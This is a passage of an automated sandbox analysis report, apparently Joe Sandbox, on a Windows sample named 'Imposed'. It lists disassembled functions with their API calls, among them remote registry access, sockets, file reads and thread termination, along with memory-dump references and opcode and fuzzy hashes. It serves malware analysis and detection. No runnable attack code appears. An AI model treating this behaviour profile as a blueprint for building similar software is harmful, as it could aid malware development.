                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 776569668-0
                                                                                                                                                                • Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
                                                                                                                                                                • Instruction ID: 1785f778dc2021405226c9f0391051e28b07b1404ecd32c196109d71da17c9ff
                                                                                                                                                                • Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
                                                                                                                                                                • Instruction Fuzzy Hash: EF113371D41B04BAD620BBB0CC47FCB77DC7FD4740F81482DB29AAA1A2DA75B9448752
                                                                                                                                                                Function 009FE1D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 009FE1EA
                                                                                                                                                                • LoadStringW.USER32(00000000), ref: 009FE1F1
                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 009FE207
                                                                                                                                                                • LoadStringW.USER32(00000000), ref: 009FE20E
                                                                                                                                                                • MessageBoxW.USER32(00000000,?,?,00011010), ref: 009FE252
                                                                                                                                                                Strings
                                                                                                                                                                • %s (%d) : ==> %s: %s %s, xrefs: 009FE22F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: HandleLoadModuleString$Message
                                                                                                                                                                • String ID: %s (%d) : ==> %s: %s %s
                                                                                                                                                                • API String ID: 4072794657-3128320259
                                                                                                                                                                • Opcode ID: ac042ddefb1145066d8e82bc6c363aba352555181563f644f8cdce3bc35fa8de
                                                                                                                                                                • Instruction ID: 6a634161ee27fcee54a1f3283b793ac7623d8d30004362b55ba8a871bee51ee5
                                                                                                                                                                • Opcode Fuzzy Hash: ac042ddefb1145066d8e82bc6c363aba352555181563f644f8cdce3bc35fa8de
                                                                                                                                                                • Instruction Fuzzy Hash: 580186F290020C7FE721D7D49D89EF7776CEB08301F0045A1B75AE2042EA749E8A4B70
                                                                                                                                                                Function 00A011AF Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • InterlockedExchange.KERNEL32(?,?), ref: 00A011BF
                                                                                                                                                                • EnterCriticalSection.KERNEL32(00000000,?), ref: 00A011D1
                                                                                                                                                                • TerminateThread.KERNEL32(00000000,000001F6), ref: 00A011DF
                                                                                                                                                                • WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00A011ED
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00A011FC
                                                                                                                                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 00A0120C
                                                                                                                                                                • LeaveCriticalSection.KERNEL32(00000000), ref: 00A01213
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3495660284-0
                                                                                                                                                                • Opcode ID: 3769f6ca69d372d0e9d9086dc4a1d8f9aeba0cca9b243eaaf2431f9ad74d1ec9
                                                                                                                                                                • Instruction ID: ea668fa742993dd881df4702cee459545fc6b70f610b21aea9c857641b967ccd
                                                                                                                                                                • Opcode Fuzzy Hash: 3769f6ca69d372d0e9d9086dc4a1d8f9aeba0cca9b243eaaf2431f9ad74d1ec9
                                                                                                                                                                • Instruction Fuzzy Hash: 3CF0EC32151612FBD7669FA8ED48BE6BB39FF14702F401131F202968A28774A472CB94
                                                                                                                                                                Function 00A124A6 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00A12606
                                                                                                                                                                • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00A12627
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A12638
                                                                                                                                                                • htons.WSOCK32(?,?,?,?,?), ref: 00A12721
                                                                                                                                                                • inet_ntoa.WSOCK32(?), ref: 00A126D2
                                                                                                                                                                  • Part of subcall function 009F41FC: _strlen.LIBCMT ref: 009F4206
                                                                                                                                                                  • Part of subcall function 00A139F7: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,00A0F452), ref: 00A13A13
                                                                                                                                                                • _strlen.LIBCMT ref: 00A1277B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3203458085-0
                                                                                                                                                                • Opcode ID: 2e462ca6ff875b14c85a5412abcef1cbed8237e154d4071141632941d3f5911a
                                                                                                                                                                • Instruction ID: 10e4f2d8de67712b4cc58ce9dc495e9c297ef5d7413697e1805b7f4506df4dd9
                                                                                                                                                                • Opcode Fuzzy Hash: 2e462ca6ff875b14c85a5412abcef1cbed8237e154d4071141632941d3f5911a
                                                                                                                                                                • Instruction Fuzzy Hash: 2DB1E035604300AFC724DF68C895FAA7BA5EF84328F54855CF4565B2E2DB31ED82CB91
                                                                                                                                                                Function 00996AAD Relevance: 9.3, APIs: 6, Instructions: 276COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 00996AD3
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00996B14
                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00996B3C
                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 00996C7A
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00996C9B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Rect$Client$Window$Screen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1296646539-0
                                                                                                                                                                • Opcode ID: 9b8e52e65edba6b6a490ee58ffe0e482a505483ad188d158ae7dbdd191b2a08b
                                                                                                                                                                • Instruction ID: 0571b7d4653bc78da394dcca542bb847dfe85d0682694f414ba9cd73912b31e0
                                                                                                                                                                • Opcode Fuzzy Hash: 9b8e52e65edba6b6a490ee58ffe0e482a505483ad188d158ae7dbdd191b2a08b
                                                                                                                                                                • Instruction Fuzzy Hash: B2B16974A0064ADBDF14CFA9C4806EEB7F5FF58310F14C91AE8AAD7250EB38A951DB50
                                                                                                                                                                Function 009C0547 Relevance: 9.3, APIs: 6, Instructions: 269COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • __allrem.LIBCMT ref: 009C044A
                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009C0466
                                                                                                                                                                • __allrem.LIBCMT ref: 009C047D
                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009C049B
                                                                                                                                                                • __allrem.LIBCMT ref: 009C04B2
                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009C04D0
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1992179935-0
                                                                                                                                                                • Opcode ID: 029c3ef4bcc714795bc71d205ea565990a04dab318b7c22ceac17bb4587af116
                                                                                                                                                                • Instruction ID: b0ee706222a31dceb41e8a890c7ba77f4ca858b7529c59228873dc592c1db6af
                                                                                                                                                                • Opcode Fuzzy Hash: 029c3ef4bcc714795bc71d205ea565990a04dab318b7c22ceac17bb4587af116
                                                                                                                                                                • Instruction Fuzzy Hash: 9A812272E40706DBE7249F29CC82F6BB3A8AFD4724F24452EF611D7292E770D9018B52
                                                                                                                                                                Function 009C661E Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,009B86F9,009B86F9,?,?,?,009C686F,00000001,00000001,8BE85006), ref: 009C6678
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,009C686F,00000001,00000001,8BE85006,?,?,?), ref: 009C66FE
                                                                                                                                                                • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 009C67F8
                                                                                                                                                                • __freea.LIBCMT ref: 009C6805
                                                                                                                                                                  • Part of subcall function 009C3C40: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,009B0215,00000000,?,00998E5F,00000004,?,009D4C6B,?,?,009910E8,00A2DBF4), ref: 009C3C72
                                                                                                                                                                • __freea.LIBCMT ref: 009C680E
                                                                                                                                                                • __freea.LIBCMT ref: 009C6833
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1414292761-0
                                                                                                                                                                • Opcode ID: 2b030f41c843f0bab76e5c1dc005ad8f01aa4c7f79d2c7c46e3813301cfd6004
                                                                                                                                                                • Instruction ID: 4afe0e0beac122dee9d4f9c7526b5be9c9beccc0b022234dc588c84970c6af17
                                                                                                                                                                • Opcode Fuzzy Hash: 2b030f41c843f0bab76e5c1dc005ad8f01aa4c7f79d2c7c46e3813301cfd6004
                                                                                                                                                                • Instruction Fuzzy Hash: DE51B172E00216ABEB258F64CC41FBB77A9EF84B50F154A2DFC05E6141EB34DC40C662
                                                                                                                                                                Function 00A1C35B Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                  • Part of subcall function 00A1D11B: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A1BE2E,?,?), ref: 00A1D138
                                                                                                                                                                  • Part of subcall function 00A1D11B: _wcslen.LIBCMT ref: 00A1D174
                                                                                                                                                                  • Part of subcall function 00A1D11B: _wcslen.LIBCMT ref: 00A1D1E2
                                                                                                                                                                  • Part of subcall function 00A1D11B: _wcslen.LIBCMT ref: 00A1D218
                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A1C44A
                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A1C4A5
                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 00A1C4EA
                                                                                                                                                                • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00A1C519
                                                                                                                                                                • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00A1C573
                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 00A1C57F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1120388591-0
                                                                                                                                                                • Opcode ID: a955cb369450e7c60d5a10068ad4562ec7c07594a559872dcc0a561bb64889a3
                                                                                                                                                                • Instruction ID: feac671f42fed4cc3fddb8f7634be70b682c4bceba130aa6c39496ec345c195f
                                                                                                                                                                • Opcode Fuzzy Hash: a955cb369450e7c60d5a10068ad4562ec7c07594a559872dcc0a561bb64889a3
                                                                                                                                                                • Instruction Fuzzy Hash: 4C81C270208241AFC714DF68C895E6ABBF5FF84318F04855CF45A4B2A2DB31ED86CB92
                                                                                                                                                                Function 00A0990D Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00997A0C: _wcslen.LIBCMT ref: 00997A11
                                                                                                                                                                  • Part of subcall function 0099B0DB: _wcslen.LIBCMT ref: 0099B0EE
                                                                                                                                                                • GetOpenFileNameW.COMDLG32(00000058), ref: 00A09CE6
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A09D07
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A09D2E
                                                                                                                                                                • GetSaveFileNameW.COMDLG32(00000058), ref: 00A09D86
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$FileName$OpenSave
                                                                                                                                                                • String ID: X
                                                                                                                                                                • API String ID: 83654149-3081909835
                                                                                                                                                                • Opcode ID: 88fb21275027584c5ba38f2fbe4c6532e96a128063acb1957e0d1b886b3b599e
                                                                                                                                                                • Instruction ID: d92f483c2f20e847798fa23019cd8d3eb099043dbc5273efc5935735d7716224
                                                                                                                                                                • Opcode Fuzzy Hash: 88fb21275027584c5ba38f2fbe4c6532e96a128063acb1957e0d1b886b3b599e
                                                                                                                                                                • Instruction Fuzzy Hash: 61E18F715083548FDB24DF68D881B6BB7E4BF85314F04896CF8999B2A2DB31ED05CB92
                                                                                                                                                                Function 00A06DA5 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A06DF3
                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 00A06F50
                                                                                                                                                                • CoCreateInstance.OLE32(00A30CBC,00000000,00000001,00A30B2C,?), ref: 00A06F67
                                                                                                                                                                • CoUninitialize.OLE32 ref: 00A071EB
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                                • String ID: .lnk
                                                                                                                                                                • API String ID: 886957087-24824748
                                                                                                                                                                • Opcode ID: 2ec22cd260e861f0620290fe913a465edbda06885e8df42b6fed29e7da083bd2
                                                                                                                                                                • Instruction ID: 9bcd8b0b7239bd7bacb6cb493101073d9721619fb666c4481ab7e40250274c2b
                                                                                                                                                                • Opcode Fuzzy Hash: 2ec22cd260e861f0620290fe913a465edbda06885e8df42b6fed29e7da083bd2
                                                                                                                                                                • Instruction Fuzzy Hash: A2D15671508345AFC704EF68D881E6BB7E9BF88708F10496DF5858B2A2DB71ED05CB92
                                                                                                                                                                Function 00991A55 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009923E1: GetWindowLongW.USER32(00000000,000000EB), ref: 009923F2
                                                                                                                                                                • BeginPaint.USER32(?,?,?), ref: 00991A8A
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00991AEE
                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00991B0B
                                                                                                                                                                • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00991B1C
                                                                                                                                                                • EndPaint.USER32(?,?,?,?,?), ref: 00991B6A
                                                                                                                                                                • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 009D2E6F
                                                                                                                                                                  • Part of subcall function 00991B82: BeginPath.GDI32(00000000), ref: 00991BA0
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3050599898-0
                                                                                                                                                                • Opcode ID: 74eaead6b238300aa1901a57f69cb618f3f4cd88bb443601ae87dd09f5df21ef
                                                                                                                                                                • Instruction ID: 7e24ae5cde337a580d2230b5f9fa51749e2e332b2aa14451744f34afb97bb193
                                                                                                                                                                • Opcode Fuzzy Hash: 74eaead6b238300aa1901a57f69cb618f3f4cd88bb443601ae87dd09f5df21ef
                                                                                                                                                                • Instruction Fuzzy Hash: 4F41DF31105602AFDB21DF58CC84FBA7BB8FF95320F040669F9A8872B2C7709846DB61
                                                                                                                                                                Function 00A287E3 Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,009EFA1A,00000000,?,?,00000000,?,009D35E0,00000004,00000000,00000000), ref: 00A28854
                                                                                                                                                                • EnableWindow.USER32(?,00000000), ref: 00A2887A
                                                                                                                                                                • ShowWindow.USER32(FFFFFFFF,00000000), ref: 00A288D9
                                                                                                                                                                • ShowWindow.USER32(?,00000004), ref: 00A288ED
                                                                                                                                                                • EnableWindow.USER32(?,00000001), ref: 00A28913
                                                                                                                                                                • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00A28937
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Show$Enable$MessageSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 642888154-0
                                                                                                                                                                • Opcode ID: d5d70a032e2fb10e4bf884d9d50a015cb68f2dc9a04a76cd243d15cf4e33ee6a
                                                                                                                                                                • Instruction ID: e50e37149c846b328dd465b1a2c1d2e635a7663fd487402e779c97bc7c10a077
                                                                                                                                                                • Opcode Fuzzy Hash: d5d70a032e2fb10e4bf884d9d50a015cb68f2dc9a04a76cd243d15cf4e33ee6a
                                                                                                                                                                • Instruction Fuzzy Hash: FD41C534602254AFDB29CF68E889BB07BF1FB45315F584179F6084B2B2CB79A846CF51
                                                                                                                                                                Function 00A01049 Relevance: 9.1, APIs: 6, Instructions: 100fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • InterlockedExchange.KERNEL32(?,000001F5), ref: 00A01060
                                                                                                                                                                • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00A01097
                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 00A010B3
                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?), ref: 00A0112D
                                                                                                                                                                • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00A01142
                                                                                                                                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 00A01161
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
